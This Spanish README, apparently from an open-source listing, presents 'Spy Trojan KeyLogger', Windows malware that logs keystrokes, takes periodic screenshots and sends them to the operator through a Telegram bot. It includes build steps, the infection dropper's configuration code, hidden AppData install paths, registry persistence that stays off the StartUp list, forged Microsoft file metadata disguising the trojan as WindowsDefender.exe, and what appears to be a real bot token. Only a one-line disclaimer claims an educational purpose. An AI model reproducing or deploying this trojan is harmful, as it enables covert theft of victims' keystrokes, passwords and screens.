Awesome Open Source
Awesome Open Source
█▀ █▀█ █▄█   ▀█▀ █▀█ █▀█   █ ▄▀█ █▄ █   █▄▀ █▀▀ █▄█ █   █▀█ █▀▀ █▀▀ █▀▀ █▀█
▄█ █▀▀  █     █  █▀▄ █▄█ █▄█ █▀█ █ ▀█   █ █ ██▄  █  █▄▄ █▄█ █▄█ █▄█ ██▄ █▀▄ v6.0  

¡ Nota importante !:

Ésta herramienta tiene como único proposito general, el aprendizaje de ___"Seguridad en sistemas informáticos"___, el creador no se hace responsable por un posible mal uso de ésta herramienta.


Información

  • Developed by: SebastianEPH
  • Product name: Spy Trojan KeyLogger
  • Type software: Trojan
  • File version: v6.0
  • Architecture: x86 bits || x64 bits
  • State: Stable
  • Size: NULL
  • Undetectable: Not Tester
  • Plataform: Only Windows 7, 8.1, 10
  • Programming language: Python >3.6 <3.9
  • Licence: GNU Licence
  • IDE or text editor: PyCharm 2020 Education
  • Documentation date: 11/12/20
  • Description: Advanced Keylogger | send Telegram bot

Carpeta Principal

Archivos

  • .git:Lista de cambios <= ignorar
  • .idea:Información del IDE <= ignorar
  • Doc:Web => en proceso... <= ignorar
  • venv:Entorno_virtual de python <= ignorar
  • # Create .EXE [InfectionFile]-[Debug].bat:Convierte en ejecutable *.exe, pero al iniciarlo se mostrará la consola <= para uso de debuggeo
  • # Create .EXE [InfectionFile]-[Release].bat:Convierte en ejecutable, y al iniciarlo, será de modo oculto, sin Consola <= Es el proyecto finalizado
  • # Create .EXE [SpyTrojan]-[Debug].bat:Convierte en ejecutable *.exe, pero al abrirlo se mostrará la consola <= para uso de debuggeo
  • # Create .EXE [SpyTrojan]-[Release].bat:Convierte en ejecutable, y al iniciarlo, será de modo oculto, sin Consola <= Es el proyecto finalizado
  • #=[Infection] Run.bat:Ejecuta en consola el archivo InfectionFile <= para uso de debuggeo
  • #=[SpyTrojan] Run.bat:Ejecuta en consola el archivo SpyTrojan <= para uso de debuggeo
  • .gitignore:Lista de archivos y carpetas sin seguimiento <= ignorar
  • ConfigKey.ini:Archivo de configuración del keylogger <= No habilitado en está versión
  • icon_infection_file.ico:Icono InfectionFile <= puedes remplazarlo, pero no cambiarle de nombre
  • icon_SpyTrojan.ico:Icono SpyTrojan <= puedes remplazarlo, pero no cambiarle de nombre
  • InfectionFile .py:Este script se encargará de infectar la computadora, y escribir en el registro.<= Se debe configurar previamente
  • info_exe_InfectionFile.txt:Contiene la información del *.exe <= lee la documentación
  • info_exe_SpyTrojan.txt:Contiene la información del *.exe <= lee la documentación
  • InstallRequirements.bat:Instala las bibliotecas <= Puede instalarlos manualmente
  • LICENSE
  • README .md:Documentación
  • SpyTrojan .py:Keyloggger TelegramBot

Caracteristicas

  • Configuración en registro: El software lee su configuración desde el registro de windows, El archivo infectionFile.py es el que se encarga de escribir en el registro, para que el keylogger pueda funcionar a la normalidad, tener la configuración en el registro tiene muchas ventajas, cómo activar o desactivar funcionalidades, hasta cambiar el token y el id a tiempo real.

  • Segundo plano: Se ejecuta en segundo plano y sin ningún entorno gráfico o consola

    NOTA: imagen no actual

    Segundo plano

  • Disfraz: Al momento de ser convertido de *.py a *.exe. El Keylogger será disfrazado como WindowsDefender.exe con el ícono y la información del programa.

    NOTA: imagen no actual

    ExeCompilado

    Info Info

    StartUP Info

  • Oculto: Se oculta en carpetas estrañas del usuario.

  • Iniciar automaticamente con el sistema: Modifica el registro de windows, pero no aparece en el menú de StartUp

    NOTA: El software no aparece en ésta lista

    StartUp

  • Multiples cuentas: Puede enviar los metadatos a distintas cuenta o grupos de telegram

  • Envio mediante Bot Telegram: Envia todos los datos mediante telegram

  • Screenshot: Toma capturas de pantalla con un intervalo personalizado

Uso de Recursos de la PC

El programa se repite 2 veces ya que ésta utiza 2 hilos de ejecución

Uso del CPU y RAM


Proceso de preparación:

NOTA: Como requisito mínimo para el aprendizaje de ésta herramienta es saber programar en Python básico.

1. Instalar todos los requerimientos

lista de requerimientos

2. Crear y configurar un Bot de telegram Telegram

  1. Entramos a BotFather.

    botFather

  2. Creamos un nuevo bot y obtenemos el Token privado

  3. Ahora obtenemos nuestro Chat ID, esto se realiza para que solo el registro de teclas nos llegue a nosotros y no a cualquiera que encuentre el bot.

  4. Buscamos el Bot llamado Chat ID Echo y obtenemos nuestro Chat ID

    CHAT ID

  5. Buscamos nuestro bot y la iniciamos...

    Buscando nuestro bot

    iniciando bot

3. Crear ejecutable del SpyTrojan.py

  • Paso 1: Abrir el archivo y remplazar la infomación según tus requerimientos.txt

    lista de requerimientos

    Click para ver el contenido del archivo.
    VSVersionInfo(
        ffi=FixedFileInfo(
            filevers=(6, 1, 7601, 17514),
            prodvers=(6, 1, 7601, 17514),
            mask=0x3f,
            flags=0x0,
            OS=0x40004,
            fileType=0x1,
            subtype=0x0,
            date=(0, 0)
            ),
        kids=[
            StringFileInfo(
            [
            StringTable(
                u'040904B0',
                [StringStruct(u'CompanyName', u'Microsoft Corporation'),
                StringStruct(u'FileDescription', u'Security Health Host Key'),
                StringStruct(u'FileVersion', u'6.1.7601.17514 (win7sp1_rtm.101119-1850)'),
                StringStruct(u'InternalName', u'Windows Security Health Host Key'),
                StringStruct(u'LegalCopyright', u'\xa9 Microsoft Corporation. All rights reserved.'),
                StringStruct(u'OriginalFilename', u'SecurityHealthHostKey.exe'),
                StringStruct(u'ProductName', u'Microsoft\xae Windows\xae Operating System'),
                StringStruct(u'ProductVersion', u'6.1.7601.17514')])
            ]), 
            VarFileInfo([VarStruct(u'Translation', [1033, 1200])])
        ]
    )
    

    Estos datos serán utilizados al momento de convertir nuestro *.py a *.exe

    Info Info

  • Paso 2: Convertir *.py a *.exe

    Click para ver más información

    El archivo # Create .EXE [SpyTrojan]-[Debug].bat nos dará como resultado un *.exe pero al ejecutar el programa se mostrará la consola, con la finalidad de debuggear:

    • Mensaje de Error o Exito de Screenshot

    • Teclas oprimidas a tiempo real

    • Mensaje de Error o Exito al conectarse al Bot

    • Mensaje de Error o Exito al envíar el registro mediante Telegram medíante un ID

    • Otros posibles errores de import lib

      mensajes de debug

    • El archivo # Create .EXE [InfectionFile]-[Release].bat es el software final, está se ejeuctará en segundo plano sin entorno grafico o consola.

    • El ejecutable resultante se guardará en una carpeta con los nombres [DEBUG], [RELEASE] según sea el caso.

      Compile ejecutandose

    • Luego de terminar aparecerá en la consola Press any key to continue...

      Complile.bat terminado

    • Regresamos a la carpeta principal y notamos que tenemos nuevas carpetas y archivos, las cuales son archivos caché sin ninguna importancia, donde e encuentrá nuestro software es dentro de la carpeta [DEBUG] o [RELEASE].

    • Compilación terminada:

  • Nota: Al abrir el *.exe resultante, ésta mandará error lo cuál es normal ya que el software lee información del registro [REGEDIT], información que todavía no se han creado.

4. Crear ejecutable del InfectionFile.py

Este Archivo se encargará de escribir en el registro de windows la configuración de nuestro software, según estos datos, el software funcionará de una u otra manera.

  • Paso 1: Abrir el archivo InfectionFile.py para edidarlo.

    Ver código completo
    if __name__ == '__main__':
        # Se habilitarán futuras actualizaciones
        AutoDestruction(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\AutoDestruction',
                        active=0,
                        active_now=0,  # ignore, will be used in a future update
                        day=00,
                        year=0000
                        ).set_values()
        BombWindows(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\BombWindows',
                    active=0,
                    active_now=0,   # ignore, will be used in a future update
                    day=00,
                    year=0000
                    ).set_values()
        Keylogger(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\Keylogger',
                active=1,         #Cambie Aquí#
                limit=150         #Cambie Aquí#
                ).set_values()
        Screenshot(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\Screenshot',
                active=1,        #Cambie Aquí#
                intervalSeconds=15,#Cambie Aquí#
                cache_path='C:\\Users\\' + str(os.getlogin()) + r'\AppData\Local\Microsoft\Office\16.0\Floodgate\temp'
                ).set_values()
        TelegramBot(path_registry=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\TelegramBot',
                    id=["-1001322369309"],  #Cambie Aquí#
                    token="1345614169:AAE7O_jRBhIkq_minXh52Ws2SV3wlPfp8QM", #Cambie Aquí#
                    ).set_values()
        trojan = Trojan(path_registry=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide',
                        debug=0,
                        delay=0,
                        path_software='C:\\Users\\' + str(os.getlogin()) + r'\AppData\Local\Microsoft\Windows\Shell\temp',
                        name_software= 'SpyTrojan.exe', #Cambie Aquí#
                        username=str(os.getlogin())
                        )
        trojan.set_values()
        trojan.infection()
    
  • Paso 2: Cambiar configuración del AutoDestruction # No disposible en ésta versión

    Ver código

    AutoDestruction(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\AutoDestruction',
                        active=0,       # No disposible en ésta versión
                        active_now=0,   # No disposible en ésta versión
                        day=00,         # No disposible en ésta versión
                        year=0000       # No disposible en ésta versión
                        ).set_values()
    
  • Paso 3: Cambiar configuración del BombWindows # No disposible en ésta versión

    Ver código

    BombWindows(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\BombWindows',
                    active=0,   # No disposible en ésta versión
                    active_now=0,   # No disposible en ésta versión
                    day=00,         # No disposible en ésta versión
                    year=0000       # No disposible en ésta versión
                    ).set_values()
    
  • Paso 4: Cambiar configuración del Keylogger

    Ver código

    Keylogger(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\Keylogger',
                active=1,         # Keylogger Habilitado = 1 °° Keylogger Habilitado = 1
                limit=150         # Limite de caracteres, al llegal al limite, envía el registro de teclas,el limite no puede pasar de 2000
                ).set_values()
    
  • Paso 5: Cambiar configuración de Screenshot

    Ver código

    Screenshot(pathReg=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\Screenshot',
                active=1,           # Screenhot Habilitado = 1 °° screenshot Habilitado = 1
                intervalSeconds=15, # Intervalo en segundos de capturas de pantalla
                cache_path='C:\\Users\\' + str(os.getlogin()) + r'\AppData\Local\Microsoft\Office\16.0\Floodgate\temp'
                ).set_values()
    
  • Paso 6: Cambiar configuración de TelegramBot

    Ver código

    TelegramBot(path_registry=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide\TelegramBot',
                    id=["-1001322369457"],  # <= Ingrese su ID personal, o el ID de un grupo de telegram
                    token="1345614169:AAE7O_jRBhIkq_minXh52Ws2SV3wlPfp8QM", # <= Ingrese token del bot
                    ).set_values()
    
  • Paso 7: Cambiar configuración de Software General

    Ver código

    trojan = Trojan(path_registry=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide',
                        debug=0,    # No disposible en ésta versión
                        delay=0,    # No disposible en ésta versión
                        path_software='C:\\Users\\' + str(os.getlogin()) + r'\AppData\Local\Microsoft\Windows\Shell\temp', # No cambiar
                        name_software= 'SpyTrojan.exe', # <= Ingrese el nombre del exe generado anteriormente:
                        # Ejemplo: "SpyKeylogger.exe"
                        username=str(os.getlogin()) # No cambiar
                        )
        trojan.set_values()
        trojan.infection()
    
  • Paso 8: Abrir el archivo y remplazar la infomación según tus requerimientos.txt

    lista de requerimientos

    Click para ver el contenido del archivo.
    VSVersionInfo(
        ffi=FixedFileInfo(
            filevers=(6, 1, 7601, 17514),
            prodvers=(6, 1, 7601, 17514),
            mask=0x3f,
            flags=0x0,
            OS=0x40004,
            fileType=0x1,
            subtype=0x0,
            date=(0, 0)
            ),
        kids=[
            StringFileInfo(
            [
            StringTable(
                u'040904B0',
                [StringStruct(u'CompanyName', u'Microsoft Corporation'),
                StringStruct(u'FileDescription', u'Security Health Host Key'),
                StringStruct(u'FileVersion', u'6.1.7601.17514 (win7sp1_rtm.101119-1850)'),
                StringStruct(u'InternalName', u'Windows Security Health Host Key'),
                StringStruct(u'LegalCopyright', u'\xa9 Microsoft Corporation. All rights reserved.'),
                StringStruct(u'OriginalFilename', u'SecurityHealthHostKey.exe'),
                StringStruct(u'ProductName', u'Microsoft\xae Windows\xae Operating System'),
                StringStruct(u'ProductVersion', u'6.1.7601.17514')])
            ]), 
            VarFileInfo([VarStruct(u'Translation', [1033, 1200])])
        ]
    )
    

    Estos datos serán utilizados al momento de convertir nuestro *.py a *.exe

    Info Info

  • Paso 9: Convertir *.py a *.exe

    Click para ver más información

    El archivo # Create .EXE [InfectionFile]-[Debug].bat nos dará como resultado un *.exe pero al ejecutar el programa se mostrará la consola, con la finalidad de debuggear:

    • Mensaje de Error o Exito escritura del registro

    • Mensaje de Error o Exito de replicar software en el sistema

    • Otros posibles errores de import lib

      mensajes de debug

    • El archivo # Create .EXE [InfectionFile]-[Release].bat es el software final, está se ejeuctará en segundo plano sin entorno grafico o consola.

    • El ejecutable resultante se guardará en una carpeta con los nombres [DEBUG], [RELEASE] según sea el caso.

      Compile ejecutandose

    • Luego de terminar aparecerá en la consola Press any key to continue...

      Complile.bat terminado

    • Regresamos a la carpeta principal y notamos que tenemos nuevas carpetas y archivos, las cuales son archivos caché sin ninguna importancia, donde e encuentrá nuestro software es dentro de la carpeta [DEBUG] o [RELEASE].

    • Compilación terminada:

Método de infección

Método de infección:

  • Colocamos en una carpeta los dos ejecutables que compilamos

  • InfectionFile.exe y StyTrojan.exe

  • StyTrojan.exe : Es el keylogger

  • InfectionFile.exe: Este archivo se encarga de escribir la configuracion en el registro de Windows y copiar nuestro archivo StyTrojan.exe a una carpeta oculta en el sistema.

  • Ejecutamos InfectionFile.exe y este se encargará de todo el trabajo

  • Es importante que el nombre de nuestro keylogger sea exactamente igual en la cual colocamos en la configuración

    Click para ver más información

    trojan = Trojan(path_registry=r'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Hide',
                        debug=0,    # No disposible en ésta versión
                        delay=0,    # No disposible en ésta versión
                        path_software='C:\\Users\\' + str(os.getlogin()) + r'\AppData\Local\Microsoft\Windows\Shell\temp', # No cambiar
                        name_software= 'SpyTrojan.exe', # <= Ingrese el nombre del exe generado anteriormente:
                        # Ejemplo: "SpyKeylogger.exe"
                        username=str(os.getlogin()) # No cambiar
                        )
        trojan.set_values()
        trojan.infection()
    

Bibliotecas personales utilizadas:

By SebastianEPH

Nota: Contacteme solo si encontró un bug o desea aportar al repositorio.


Get A Weekly Email With Trending Projects For These Topics
No Spam. Unsubscribe easily at any time.
python (53,199
windows (1,433
database (1,216
bot (751
hacking (546
telegram (353
malware (221
telegram-bot (173
keylogger (50
telegram-bot-api (45
startup (42
keyword (21